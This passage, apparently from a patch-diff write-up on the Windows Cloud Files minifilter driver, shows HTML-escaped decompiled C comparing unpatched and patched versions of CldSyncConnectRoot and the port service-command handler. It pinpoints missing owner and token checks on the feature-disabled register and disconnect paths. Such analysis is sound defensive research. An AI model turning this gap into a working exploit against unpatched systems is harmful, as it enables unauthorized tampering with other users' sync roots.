&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// owner + token&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* 0xc000cf09 */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature enabled: preliminary key on owner field at entry+0x60&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// owner + token&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TlmWriteSyncRootAlreadyConnected&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED CldSyncConnectRoot (0x1c0062bd0): identical to the unpatched feature-enabled branch ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// owner field at 0x60&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// owner + token&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;create_new_entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TlmWriteSyncRootAlreadyConnected&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Both unpatched branches enforce the owner (&lt;code&gt;+0x60&lt;/code&gt;) and token (&lt;code&gt;+0&lt;/code&gt;) checks; the patch only drops the feature gate and the refcount-first ordering.&lt;/p&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED sub_1c0060514, register path (after CldSyncConnectRoot succeeds) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldiPortInsertSyncRootNoLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// validates owner/token&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature disabled: raw insert into per-connection table a1+104, NO owner/token check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlDeleteElementGenericTableAvl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInsertElementGenericTableAvl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;NewElement&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- UNPATCHED sub_1c0060514, disconnect path ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRoot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// checks stored token == token&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRootDeprecated&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NO token check&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED sub_1c00604e4 ---&lt;/span&gt;
&lt;span class="n"&gt;FltAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldiPortInsertSyncRootNoLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// register: always validated&lt;/span&gt;
&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRoot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;volume&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// disconnect: always token-checked&lt;/span&gt;

&lt;span class="c1"&gt;// --- CldiPortInsertSyncRootNoLock (sub_1c005dd94 / unpatched sub_1c005ddb4), both binaries ---&lt;/span&gt;
&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CldiPortLookupSyncRootNoLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;key0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// owner set &amp;amp; token mismatch&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// 0xc000cf09&lt;/span&gt;
&lt;span class="n"&gt;RtlDeleteElementGenericTableAvl&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RtlInsertElementGenericTableAvl&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;

&lt;span class="c1"&gt;// --- CldSyncDisconnectRoot vs CldSyncDisconnectRootDeprecated (both binaries) ---&lt;/span&gt;
